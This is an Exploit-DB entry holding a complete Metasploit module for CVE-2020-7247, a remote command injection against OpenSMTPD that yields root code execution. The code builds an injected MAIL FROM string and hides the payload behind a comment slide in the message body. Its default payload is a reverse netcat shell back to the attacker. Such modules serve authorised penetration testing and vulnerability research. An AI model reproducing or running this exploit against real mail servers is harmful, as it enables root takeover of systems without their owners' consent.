Exploit-DB #48038
Description: OpenSMTPD - MAIL FROM Remote Code Execution (Metasploit)
Type: remote
Platform: linux
Date: 2020-02-10
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Expect

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenSMTPD MAIL FROM Remote Code Execution',
      'Description'    => %q{
        This module exploits a command injection in the MAIL FROM field during
        SMTP interaction with OpenSMTPD to execute code as the root user.
      },
      'Author'         => [
        'Qualys',                               # Discovery and PoC
        'wvu',                                  # Module
        'RageLtMan <rageltman[at]sempervictus>' # Module
      ],
      'References'     => [
        ['CVE', '2020-7247'],
        ['URL', 'https://www.openwall.com/lists/oss-security/2020/01/28/3']
      ],
      'DisclosureDate' => '2020-01-28',
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Targets'        => [
        ['OpenSMTPD >= commit a8e222352f',
          'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars
        ]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
    ))

    register_options([
      Opt::RPORT(25),
      OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root'])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit',   [false, 'Override check result', false]),
      OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
    ])
  end

  def check
    connect
    res = sock.get_once

    return CheckCode::Unknown unless res
    return CheckCode::Detected if res =~ /^220.*OpenSMTPD/

    CheckCode::Safe
  rescue EOFError, Rex::ConnectionError => e
    vprint_error(e.message)
    CheckCode::Unknown
  ensure
    disconnect
  end

  def exploit
    unless datastore['ForceExploit']
      unless check == CheckCode::Detected
        fail_with(Failure::Unknown, 'Set ForceExploit to override')
      end
    end

    # We don't care who we are, so randomize it
    me = rand_text_alphanumeric(8..42)

    # Send mail to this valid recipient
    to = datastore['RCPT_TO']

    # Comment "slide" courtesy of Qualys - brilliant!
    iter = rand_text_alphanumeric(15).chars.join(' ')
    from = ";for #{rand_text_alpha(1)} in #{iter};do read;done;sh;exit 0;"

    # This is just insurance, since the code was already written
    if from.length > 64
      fail_with(Failure::BadConfig, 'MAIL FROM field is greater than 64 chars')
    elsif (badchars = (from.chars & target['MyBadChars'])).any?
      fail_with(Failure::BadConfig, "MAIL FROM field has badchars: #{badchars}")
    end

    # Create the mail body with comment slide and payload
    body = "\r\n" + "#\r\n" * 15 + payload.encoded

    sploit = {
      nil                   => /220.*OpenSMTPD/,
      "HELO #{me}"          => /250.*pleased to meet you/,
      "MAIL FROM:<#{from}>" => /250.*Ok/,
      "RCPT TO:<#{to}>"     => /250.*Recipient ok/,
      'DATA'                => /354 Enter mail.*itself/,
      body                  => nil,
      '.'                   => /250.*Message accepted for delivery/,
      'QUIT'                => /221.*Bye/
    }

    print_status('Connecting to OpenSMTPD')
    connect

    print_status('Saying hello and sending exploit')
    sploit.each do |line, pattern|
      send_expect(
        line,
        pattern,
        sock:    sock,
        timeout: datastore['ExpectTimeout'],
        newline: "\r\n"
      )
    end
  rescue Rex::ConnectionError => e
    fail_with(Failure::Unreachable, e.message)
  rescue Timeout::Error => e
    fail_with(Failure::TimeoutExpired, e.message)
  ensure
    disconnect
  end

end